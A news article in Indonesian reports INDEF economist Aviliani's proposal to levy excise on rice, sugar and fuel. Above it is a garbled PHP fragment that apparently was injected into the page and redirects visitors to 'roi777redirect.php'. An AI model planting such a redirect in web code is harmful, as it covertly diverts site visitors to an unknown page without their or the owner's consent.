header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); INDEF: Beras dan Gula Bakal Kena Cukai -
INDEF: Beras dan Gula Bakal Kena Cukai

TRANSLAMPUNG.COM, JAKARTA – Ekonom senior Institute for Development of Economics and Finance (Indef) Aviliani menyarankan agar beras dan gula dikenai cukai. Alasanya, dua makanan pokok ini menjadi penyebab utama penyakit serius.

“Gula sama beras ini jadi penyebab penyakit-penyakit yang besar itu,” kata Aviliani, di Jakarta, Selasa (3/7).

Menurut Aviliani, kebijakan ini memang kedengaran tidak populis karena dianggap makanan pokok yang harus dilindungi. Namun, dengan tahapan yang matang, kebijakan ini sebenarnya bisa dilakukan. Paling tidak, 5 sampai 10 tahun ke depan harus dilakukan sosialisasi. Apalagi, selama ini kalau pemerintah selalu terkesan terburu-buru kalau mengeluarkan kebijakan. Sehingga tidak ada waktu untuk mensosialisasikannya terlebih dahulu.

“Tapi harus ada penggantinya juga, misalnya stevia untuk pemanis,” kata dia.

Untuk beras, selain alasan kesehatan karena mengandung kalori yang tinggi, Aviliani megungkapkan, komoditas ini terlalu banyak dikonsumsi masyarakat Indonesia. Sehingga kalau terjadi peningkatan kebutuhan, mau tidak mau, harus dipenuhi dari impor. “Impor beras kita sudah kebanyakan,” kata dia.

Tak hanya komoditas beras dan gula, Aviliani juga mengusulkan agar bahan bakar minyak (BBM) juga dikenai cukai. Tentu alasanya adalah demi kesehatan lingkungan. Diharapkan dengan cukai BBM dapat menstimulus pengembangan energi baru terbarukan.

Diketahui bahwa INDEF merupakan lembaga riset independen dan otonom yang berdiri pada Agustus 1995 di Jakarta. Aktivitas INDEF diantaranya melakukan riset dan kajian kebijakan publik, utamanya dalam bidang ekonomi dan keuangan. Kajian INDEF diharapkan menciptakan debat kebijakan, meningkatkan partisipasi dan kepekaan publik pada proses pembuatan kebijakan publik. INDEF turut berkontribusi mencari solusi terbaik dari permasalahan ekonomi dan sosial di Indonesia. (Mad/FIN/fnn)

News Reporter